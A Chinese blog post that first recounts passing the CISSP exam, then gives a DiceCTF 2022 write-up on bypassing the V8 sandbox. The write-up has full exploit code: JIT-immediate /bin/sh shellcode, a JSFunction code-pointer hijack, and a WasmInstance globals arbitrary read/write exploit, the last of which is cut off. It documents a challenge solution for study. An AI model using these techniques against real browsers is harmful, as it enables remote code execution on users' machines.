报名

直接在 ISC 官网找 CISSP，单次考试 $749，补考需要再交 $749。

最近 ISC 有 “考试安心保障” 活动， +$199 可以多一次补考的机会，怕一次过不去，我买了这个总价 $948。

• https://www.isc2.org/landing/exam-peace-of-mind

虽然最后我没用到补考，但还是建议没信心的同学可以考虑下这个。

学习资源

• 《CISSP官方学习指南（第8版）》，也称 OSG，为什么不是最新第9版？因为这本书自20年到我手上，已经在某个箱子底下压了2年。

• https://firmianay.gitbook.io/cissp-notes/ firmianay大佬的总结归纳，虽然不是百分百全，但也很好用了，有几个域我没来得及看纸质书，直接看的这个学的。

• 铭学在线 https://exam.maxstu.com/h5/100000/ ，这是用来刷题的，题目质量还可以，看完一章拿来巩固下，还自带错题集。

学习心得

OSG 能看完就尽量看完，一定要看，推荐纸质书，方便笔记。

书后面的练习要做，并且能完全理解。

书刷完以后，可以考虑二刷下 firmianay 的笔记，看完一个域做对应的铭学里的题。

铭学的题质量不错，还带有解析，务必理解。

然后就可以考虑刷模拟题了，模拟题网上资源应该不少，各位自己想办法。

可能你会找到翻译很烂的模拟题，做下来正确率也不高。不用怀疑，考试的题目就这水平，就刷题吧，遇到无法理解的 google 搜一下英文原题，一般都能搜到解释，可以 google hack 一下 examtopics.com，里面有不少 CISSP 的考题。

据说模拟题刷到正确率 60% 就能去考试了，我感觉是差不多。

因为我给自己排的时间比较紧，在考试前的最后两天才把所有域的知识刷完，然后刷了一天的题，就匆匆忙忙的就去考试了。

模拟题大概做了 100 多题，发现正确率很低，可能就 50% 左右，主要原因是翻译的题目看的很难受，题意很难理解，还特地问了下朋友考试是不是就这样子，得到肯定的答案后，考试前一晚都没睡好，一直刷题刷到2点。

关于题目

书后的习题以及铭学的题是非常友好的，题目题意选项都是能比较容易就理解的。

真实考题比较糟心，有不少翻译很难理解，需要自己看英语原题的，平时做题尽量对照着看下英语锻炼下。

我看到不少题是有争议的，因为在不同场景下的最佳实践是不一样的，可能多个选项都是对的。当然，也有可能考点藏的比较深，多思考一下。

遇到中英文都无法理解的题，就机选吧，不要在考试的时候搞自己心态（这很重要）。

有些题目可能有多个正确答案，选你觉得最合适的就行，也不用太纠结。

考试当天

我选的考场是上海徐汇区的腾飞大厦。

本来准备住考场附近，关注了下酒店价格有点小离谱，决定还是住家里，考试当天打个车。

6点从松江的家里出发，7点到腾飞大厦。上2楼，闸机刷脸上楼，来太早了工作人员都没来，在门外等了半个小时。

7点半开始入场，做考前讲解，寄存物品（一人一柜），身份验证。

接近8点进入考场，坐下以后就可以开始考试。

考场备了隔音耳机，效果不错。

考试过程可以离场喝水吃东西，跟监考的工作人员说一声就行。

考试的时间非常充裕，所以我做到150题的时候离场休息了，实在是坐太久了屁股疼 Orz。

估摸着休息了有20分钟，又回去战斗了。

我出考场的时候大概 11:30 ，快得有点超预期了。

跟着指引在门口打印了成绩单，看到单子上恭喜两个字小小激动了一下。

总结

我平时的工作是挖洞搞研究，对安全风向管理、资产管理、运营这种和技术关联不大的领域接触的少，了解的少，通过 CISSP 的认证，填补了这块知识的空缺，以后也许可能会用到吧。

本文首发于跳跳糖 https://tttang.com/archive/1443/

V8 沙箱绕过

这是 DiceCTF2022 的一道题 memory hole。

题目给了我们修改任意 array 的 length 的能力，按过往的经验，接下来很简单，就是构造任意地址读写原语，构造 WASM 实例，读 RWX 空间地址，写 shellcode ，调 WASM 函数，结束。

但题目开启了 V8 沙箱，一个新的安全机制，直接阻止了我们构造任意地址读写，能访问的范围是 array 基址后连续的 4G 地址空间。

绕过这个沙箱是本题的重点，看了两篇wp有所收获，所以整理了下绕过手法，未来可能会用到。

【题目地址】 https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz

指针压缩

64 位 V8 中使用了“指针压缩”的技术，即将 64 位指针转为 js_base + offset 的形式，只在内存当中存储 offset ，寄存器 $14 存储 js_base ，其中 offset 是 32 位的。JS 对象在解引用时，会从 $r14 + offset 的地址加载。因此 js_base + offset 被限制在很小的一个区域，无法访问任意地址。

如下，没有开启“指针压缩”的 ArrayBuffer 内存布局：

开启后：

绕过“指针压缩”的方法很简单，因为“指针压缩”只对堆上指针使用，堆外指针不会压缩。ArrayBuffer 的 BackingStore 是个堆外指针，可以直接修改 BackingStore 为任意地址进而实现任意地址读写。

V8 沙箱

V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”，比如 WebAssembly 的 RWX 页指针和 ArrayBuffer 的 BackingStore 指针。将这些外部指针都转为表的索引，以基址+偏移的方式访问，限制指针能访问的范围，防止攻击者利用 V8 漏洞实现内存任意地址读写。

V8 Sandbox - High-Level Design Doc

如下，未开启 V8 沙箱时的 ArrayBuffer 对象内存布局：

开启沙箱后，BackingStore 替换为 0x45c00000000（偏移量 0x45c00，向左移动 24 位保证最高位为 0）。

此时假设攻击者能从多个线程中任意破坏沙箱内的内存，现在需要一个额外的漏洞破坏沙箱外部的内存，从而执行任意代码。

绕过

方法一：利用立即数写 shellcode

(参考 https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html）

JSFunction

先 DebugPrint 一个 JSFunction 的内存结构：

这里有一个 code 字段，它指向了函数要执行的汇编指令，处于 r-x 页。

用 gdb 修改 code 字段 0x41414141 。

继续执行，出现异常，此时 rcx 是 0x2a0c41414141 ，即基址(0x2a0c00000000)+偏移(0x41414141)。

看这段汇编，如果我们令[rcx + 0x1b] & 0x20000000 = 0 ，rip 就会在之后被设置为 rcx+0x3f ，从而劫持 rip ，这个条件是比较容易满足的。

使用立即数构造 shellcode

JS 函数的 JIT 代码存储在堆内，即基址开头的 32 位区域，如下，基址都是 0x350f00000000 。

这个函数返回的是一个浮点数组，在汇编里，每个浮点数以立即数的形式存在，立即数占 8 个字节。

立即数同样可以被识别为汇编指令，很容易想到可以利用这个立即数来布置 shellcode，只要将 shellcode 片段用 jmp 连接起来，就能将一个个立即数串联起来，实现完整的功能。

jmp 短跳需要 2 个字节，剩下 6 个字节可以自由发挥。

参考原作的脚本生成 shellcode，再将输出转为 IEEE 浮点表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

from pwn import *

context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')

def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

"""
Output:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948

IEEE:
1.95538254221075331056310651818E-246
1.95606125582421466942709801013E-246
1.99957147195425773436923756715E-246
1.95337673326740932133292175341E-246
2.63486047652296056448306022844E-284
"""

生成出来的 shellcode 是通过系统调用执行 /bin/sh 。

跟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

gef➤  job 0x3de400045681
0x3de400045681: [Code]
 - map: 0x3de40800263d <Map>
 - code_data_container: 0x3de4081d360d <Other heap object (CODE_DATA_CONTAINER_TYPE)>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x3de400045681

Instructions (size = 388)
0x3de4000456c0     0  8b59d0               movl rbx,[rcx-0x30]
...
0x3de400045735    75  c5fb114107           vmovsd [rcx+0x7],xmm0
0x3de40004573a    7a  49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x3de400045744    84  c4c1f96ec2           vmovq xmm0,r10
0x3de400045749    89  c5fb11410f           vmovsd [rcx+0xf],xmm0
0x3de40004574e    8e  49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x3de400045758    98  c4c1f96ec2           vmovq xmm0,r10
0x3de40004575d    9d  c5fb114117           vmovsd [rcx+0x17],xmm0
0x3de400045762    a2  49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x3de40004576c    ac  c4c1f96ec2           vmovq xmm0,r10
0x3de400045771    b1  c5fb11411f           vmovsd [rcx+0x1f],xmm0
0x3de400045776    b6  49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x3de400045780    c0  c4c1f96ec2           vmovq xmm0,r10
0x3de400045785    c5  c5fb114127           vmovsd [rcx+0x27],xmm0
0x3de40004578a    ca  49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948
...

以指令格式查看这几个立即数，可以看到这几个立即数是通过 jmp 串联起来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

gef➤  x/3i 0x3de40004573c
   0x3de40004573c:push   0x68732f
   0x3de400045741:pop    rax
   0x3de400045742:jmp    0x3de400045750
gef➤  x/3i 0x3de400045750
   0x3de400045750:push   0x6e69622f
   0x3de400045755:pop    rdx
   0x3de400045756:jmp    0x3de400045764
gef➤  x/3i 0x3de400045764
   0x3de400045764:shl    rax,0x20
   0x3de400045768:xor    esi,esi
   0x3de40004576a:jmp    0x3de400045778
gef➤  x/4i 0x3de400045778
   0x3de400045778:add    rax,rdx
   0x3de40004577b:xor    edx,edx
   0x3de40004577d:push   rax
   0x3de40004577e:jmp    0x3de40004578c
gef➤  x/4i 0x3de40004578C
   0x3de40004578c:mov    rdi,rsp
   0x3de40004578f:push   0x3b
   0x3de400045791:pop    rax
   0x3de400045792:syscall

执行

接下来就是劫持 rip 。

修改 JSFunction 对象的 code 字段，令 code + 0x3f = 0x3de40004573c 。

code 的计算方式 0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c ，即原 code 值加 0x7c ，具体各位自行体会，原作的 jitAddr + 0xb3 - 0x3f 的计算在我这跑不起来，差了 8 个字节，不知道是不是环境问题。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

function dp(x) {}// %DebugPrint(x);}
const print = () => {};
const assert = function (b, msg)
{
if (!b)
throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) +
__dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
const tmp0 = val % 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}
function d22u(val)
{ //double ==> 2 * Uint32
__dvCvt.setFloat64(0, val, true);
}
const hex = (x) => ("0x" + x.toString(16));

/*
One weird thing is that as long as a function contains floating const,
allocated array object cannot reach the function object by OOB;
therefore, we use TypedArray arbitrary R/W in sbx to rewrite its field.
*/
const foo = ()=>
{
return [
        1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}

const f = () => 123;
const arr = [1.1];
const o = {x:0x1337, a:foo, b:f}; // x makes a and b double align
const ua = new Uint32Array(2);

arr.setLength(36);
d22u(arr[3]);
const fooAddr = __dvCvt.getUint32(0, true);
const fAddr = __dvCvt.getUint32(4, true);
print(hex(fAddr));dp(f);
dp(ua);

function readOff(off)
{
arr[35] = u2d((off-7) * 0x100000000);
return ua[0];
}
function writeOff(off, val)
{
arr[35] = u2d((off-7) * 0x100000000);
ua[0] = val;
}
print(hex(fooAddr));dp(foo);
jitAddr = readOff(fooAddr + 0x17);
print('jitAddr');
print(hex(jitAddr));
print('rcx + 0x1b:') // rcx = jitAddr
print(hex(jitAddr + 0x1b));
print(hex(readOff(jitAddr + 0x1b)));
// %SystemBreak();
// writeOff(fAddr + 0x17, jitAddr + 0xb3 - 0x3f);
writeOff(fAddr + 0x17, jitAddr + 0x7c);
print(readOff(fooAddr + 0x17));
dp(foo);
// %SystemBreak();
f();

方法二：利用 WasmInstance 的全局变量

（参考：https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/）

尽管沙箱几乎把所有指针都压缩了，但依然存在一些64位的原始指针，可以尝试劫持它们来绕过沙箱。

全局变量

WasmInstance 对象的 imported_mutable_globals 存储 WASM 代码中使用的所有全局变量，它并没有被沙箱保护起来。

下面是一个 WasmInstance 对象：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
 - map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
 - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
 - exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
 - native_context: 0x3b17081c2c75 <NativeContext[266]>
 - imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
 - imported_function_refs: 0x3b1708002249 <FixedArray[0]>
 - indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
 - managed_native_allocations: 0x3b1708048e61 <Foreign>
 - managed object maps: 0x3b1708002249 <FixedArray[0]>
 - feedback vectors: 0x3b1708002249 <FixedArray[0]>
 - memory_start: (nil)
 - memory_size: 0
 - imported_function_targets: 0x560e9be53750
 - globals_start: (nil)
 - imported_mutable_globals: 0x560e9be53770
 - ...

查看内存，imported_mutable_globals 确实还是64位。

1
2
3
4
5
6
7
8
9
10
11

gef➤  x/20xg 0x3b17081d2f3d-1
0x3b17081d2f3c:0x08002249082064390x0800224908002249
0x3b17081d2f4c:0x00000000080022490x0000000000000000
0x3b17081d2f5c:0x00000000000000000x0000560e9bddc640
0x3b17081d2f6c:0x0000560e9be537500x0000000000000000
0x3b17081d2f7c:0x00000000000000000x0000000000000000
0x3b17081d2f8c:0x0000560e9be537700x0000560e9bddc620
0x3b17081d2f9c:0x0000246bb5adb0000x0000560e9bde8a48
0x3b17081d2fac:0x0000560e9bde8a400x0000560e9bde8a60
0x3b17081d2fbc:0x0000560e9bde8a580x0000560e9bddc630
0x3b17081d2fcc:0x0000560e9be537900x0000560e9be537b0

使用全局变量

1
2
3
4

var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js: {global}});

以上可以往 imported_mutable_globals 里添加一个 int64 的全局变量 。

注意global 这个变量是在当前堆上分配的，利用漏洞是可以修改这个对象的属性。

DebugPrint 一下这个 global

1
2
3
4
5
6
7
8

DebugPrint: 0xc7908048d0d: [WasmGlobalObject]
 - map: 0x0c7908206821 <Map(HOLEY_ELEMENTS)>
 - untagged_buffer: 0x0c7908048d31 <ArrayBuffer map = 0xc7908203289>
 - offset: 0
 - raw_type: 2
 - is_mutable: 1
 - type: i64
 - is_mutable: 1

untagged_buffer 是一个 ArrayBuffer，backing_store 是 0x3b1800002000 ，也就是 global 存储数据的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

gef➤  job 0x3b1708048d31
0x3b1708048d31: [JSArrayBuffer]
 - map: 0x3b1708203289 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3b17081c99e9 <Object map = 0x3b17082032b1>
 - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x3b1800002000
 - byte_length: 8
 - max_byte_length: 8
 - detachable
 - properties: 0x3b1708002249 <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

回过头看上面 wasm_instance 的 imported_mutable_globals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
 - map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
 - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
 - exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
 - native_context: 0x3b17081c2c75 <NativeContext[266]>
 - imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
 - imported_function_refs: 0x3b1708002249 <FixedArray[0]>
 - indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
 - managed_native_allocations: 0x3b1708048e61 <Foreign>
 - managed object maps: 0x3b1708002249 <FixedArray[0]>
 - feedback vectors: 0x3b1708002249 <FixedArray[0]>
 - memory_start: (nil)
 - memory_size: 0
 - imported_function_targets: 0x560e9be53750
 - globals_start: (nil)
 - imported_mutable_globals: 0x560e9be53770
 - ...

这里的第一个元素即是 global 的 backing_store 地址

1
2
3
4
5
6

gef➤  x/10xg 0x560e9be53770
0x560e9be53770:0x00003b18000020000x00007fcdcb1bdca0
0x560e9be53780:0x00000000000000000x0000000000000021
0x560e9be53790:0x00007fcdcb1bdca00x00007fcdcb1bdca0
0x560e9be537a0:0x00000000000000000x0000000000000021
0x560e9be537b0:0x00007fcdcb1bdca00x00007fcdcb1bdca0

我们伪造一个 imported_mutable_globals 替换掉 wasm_instance 的 imported_mutable_globals ，即可做到任意地址读写。

伪造 imported_mutable_globals

imported_mutable_globals 并不是一个 JS 对象，不用泄漏 map ，伪造起来比较容易。

创建一个 array ，第一个元素是要读写的任意地址。

再泄漏这个 array 的偏移及基址 js_base 计算得到完整的 array 地址，覆盖掉用来的 imported_mutable_globals 。

泄漏 array 的偏移按常规的路子来就行，泄漏 js_base 见下一节。

一切搞好后，要读写任意地址，改 array[0] 即可。

获取基址 js_base

泄漏基址 js_base 并不难，多次运行 d8 ，搜索下基址：

第一次

1
2
3
4
5
6
7
8

gef➤  search-pattern 0x1c53
[+] Searching '\x53\x1c' in memory
[+] In (0x1c5300000000-0x1c5300003000), permission=rw-
  0x1c530000001c - 0x1c5300000024  →   "\x53\x1c[...]" 
  0x1c5300000024 - 0x1c530000002c  →   "\x53\x1c[...]" 
  0x1c5300000054 - 0x1c530000005c  →   "\x53\x1c[...]" 
  0x1c53000000f4 - 0x1c53000000fc  →   "\x53\x1c[...]"
...

第二次

1
2
3
4
5
6
7
8

gef➤  search-pattern 0x00002c3b
[+] Searching '\x3b\x2c\x00\x00' in memory
[+] In (0x2c3b00000000-0x2c3b00003000), permission=rw-
  0x2c3b0000001c - 0x2c3b0000001e  →   ";," 
  0x2c3b00000024 - 0x2c3b00000026  →   ";," 
  0x2c3b00000054 - 0x2c3b00000056  →   ";," 
  0x2c3b000000f4 - 0x2c3b000000f6  →   ";,"
...

第三次

1
2
3
4
5
6
7
8

gef➤  search-pattern 0x3f13
[+] Searching '\x13\x3f' in memory
[+] In (0x3f1300000000-0x3f1300003000), permission=rw-
  0x3f130000001c - 0x3f1300000024  →   "\x13\x3f[...]" 
  0x3f1300000024 - 0x3f130000002c  →   "\x13\x3f[...]" 
  0x3f1300000054 - 0x3f130000005c  →   "\x13\x3f[...]" 
  0x3f13000000f4 - 0x3f13000000fc  →   "\x13\x3f[...]"
...

可以看到，在 [js_base , js_base+0x3000] 的区间就有一些64位的原始指针，如果能读到，就可以泄漏出基址。

具体的方法，构造一个 BigInt64Array 修改 external_pointer ，以及 byte_length ，让 BigInt64Array 能从 js_base 开始访问。

这里由于沙箱，data_ptr 的计算方式改为 js_base + base_pointer + (external_pointer << 2) ，需要注意 external_pointer 变为了偏移，如下图的 0x1000000 。

修改 external_pointer 和 base_pointer 为 0 ，BigIng64Array 就会从 js_base 开始访问了。

修改全局变量

参考 mdm 提供的 demo https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat ，添加修改 global 变量的函数。

1
2
3
4
5
6
7
8

(module
   (global $g (import "js" "global") (mut i64))
   (func (export "getGlobal") (result i64)
        (global.get $g))
   (func (export "setGlobal") (param i64)
        (global.set $g
            (get_local 0)))
)

用 wat2wasm https://webassembly.github.io/wabt/demo/wat2wasm/ 编译后，提取二进制格式的输出。

现在可以使用 WASM 修改全局变量了：

1
2
3
4
5
6
7
8
9
10
11

var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code); 

const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}}); 

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

setGlobal(0x10000n);
console.log(getGlobal()); // 65535

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209

function dp(x) {} 
// function dp(x) {%DebugPrint(x);} // const print = console.log;
const print = (x) =>{console.log(x)};
class Helpers {
    constructor() {
      this.cvt_buf = new ArrayBuffer(8);
      this.cvt_f64a = new Float64Array(this.cvt_buf);
      this.cvt_u64a = new BigUint64Array(this.cvt_buf);
      this.cvt_u32a = new Uint32Array(this.cvt_buf);
    }

    ftoi(f) {
      this.cvt_f64a[0] = f;
      return this.cvt_u64a[0];
    }

    itof(i) {
      this.cvt_u64a[0] = i;
      return this.cvt_f64a[0];
    }

    ftoil(f) {
      this.cvt_f64a[0] = f;
      return this.cvt_u32a[0];
    }

    ftoih(f) {
      this.cvt_f64a[0] = f;
      return this.cvt_u32a[1];
    }

    fsetil(f, l) {
      this.cvt_f64a[0] = f;
      this.cvt_u32a[0] = l;
      return this.cvt_f64a[0];
    }

    fsetih(f, h) {
      this.cvt_f64a[0] = f;
      this.cvt_u32a[1] = h;
      return this.cvt_f64a[0];
    }

    isetltof(i, l) {
      this.cvt_u64a[0] = i;
      this.cvt_u32a[0] = l;
      return this.cvt_f64a[0];
    }

    isethtof(i, h) {
      this.cvt_u64a[0] = i;
      this.cvt_u32a[1] = h;
      return this.cvt_f64a[0];
    }

    isetlhtof(l,h){
        this.cvt_u32a[0] = l;
        this.cvt_u32a[1] = h;
        return this.cvt_f64a[0];
    }

    isetltoi(i,l){
      this.cvt_u32a[0] = l;
      return this.cvt_u64a[0];
    }

    isethtoi(i,h){
      this.cvt_u32a[1] = h;
      return this.cvt_u64a[0];
    }

    isetlhtoi(l,h){
        this.cvt_u32a[0] = l;
        this.cvt_u32a[1] = h;
        return this.cvt_u64a[0];
    }

    igetl(i) {
      this.cvt_u64a[0] = i;
      return this.cvt_u32a[0];
    }

    igeth(i) {
      this.cvt_u64a[0] = i;
      return this.cvt_u32a[1];
    }

    gc() {
      for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x1000000);
      }
    }
    printhex(s, val) {
      //%DebugPrint(s + " 0x" + val.toString(16));
      console.log(s + " 0x" + val.toString(16));
      //document.write(s +' ' + val.toString(16) + " </br>");
      //alert(s + " 0x" + val.toString(16));
    }
};

var helper = new Helpers();

var oob_arr = [1.1, 2.2, 3.3];
var buf = new ArrayBuffer(0x100);
var i64arr= new BigUint64Array(buf);

var fake_imported_mutable_globals_arr = [0x1337133713371337];
var leaker = { 'x':fake_imported_mutable_globals_arr};

var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code); 
const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}}); 

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

function arbWrite(addr,val){
    oob_arr[0x17] = helper.itof(addr);
    setGlobal(BigInt.asUintN(64,BigInt(val)));
}

function arbRead(addr){
    oob_arr[0x17] = helper.itof(addr);
    return BigInt.asUintN(64, getGlobal());
}

function addrOf(obj){
    leaker['x'] = obj;
    return BigInt.asUintN(64,js_base + BigInt(helper.ftoih(oob_arr[0x1b])));
}

oob_arr.setLength(0x10000000/8);
dp(oob_arr);
dp(fake_imported_mutable_globals_arr);
dp(leaker);
// %DebugPrint(i64arr);
// %SystemBreak();

oob_arr[0x11] = helper.isethtof(helper.ftoi(oob_arr[0x11]),0x10000000); // length
oob_arr[0x13] = helper.itof(0n); // external_pointer
// %DebugPrint(i64arr);
// %SystemBreak();

// leak js_base
var js_base = 0n;
if( (i64arr[3] >> 32n ) == (i64arr[4] >> 32n)) {
    js_base = BigInt.asUintN(64,i64arr[3]) & 0xffff00000000n;
}
helper.printhex('js_base @', js_base);

fake_imported_mutable_globals_arr_addr = addrOf(fake_imported_mutable_globals_arr);
fake_imported_mutable_globals_addr = fake_imported_mutable_globals_arr_addr - 0x9n;

// %SystemBreak();

oob_arr_addr = addrOf(oob_arr);
wasm_inst_addr = addrOf(wasm_instance);

imported_mutable_globals_offset = (wasm_inst_addr - js_base + 0x50n -1n ) / 8n;

dp(wasm_instance);
// %SystemBreak();

helper.printhex('fake_obj_addr @', fake_imported_mutable_globals_addr);
helper.printhex('oob_arr_addr @', oob_arr_addr);
helper.printhex('wasm_instance_addr @', wasm_inst_addr);
helper.printhex('wasm_instance.imported_mutable_globals_offset ', imported_mutable_globals_offset);

// i64arr[imported_mutable_globals_offset] = helper.isethtoi(i64arr[imported_mutable_globals_offset] , Number(fake_imported_mutable_globals_addr & 0xffffffffn));
// i64arr[imported_mutable_globals_offset + 1n] = helper.isetltoi(i64arr[imported_mutable_globals_offset + 1n], Number(fake_imported_mutable_globals_addr >> 32n));
helper.printhex('i64arr[globals_offset] @', i64arr[imported_mutable_globals_offset]);
i64arr[imported_mutable_globals_offset] = fake_imported_mutable_globals_addr;

dp(wasm_instance);
// %SystemBreak();

var wasm_code2= new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97,
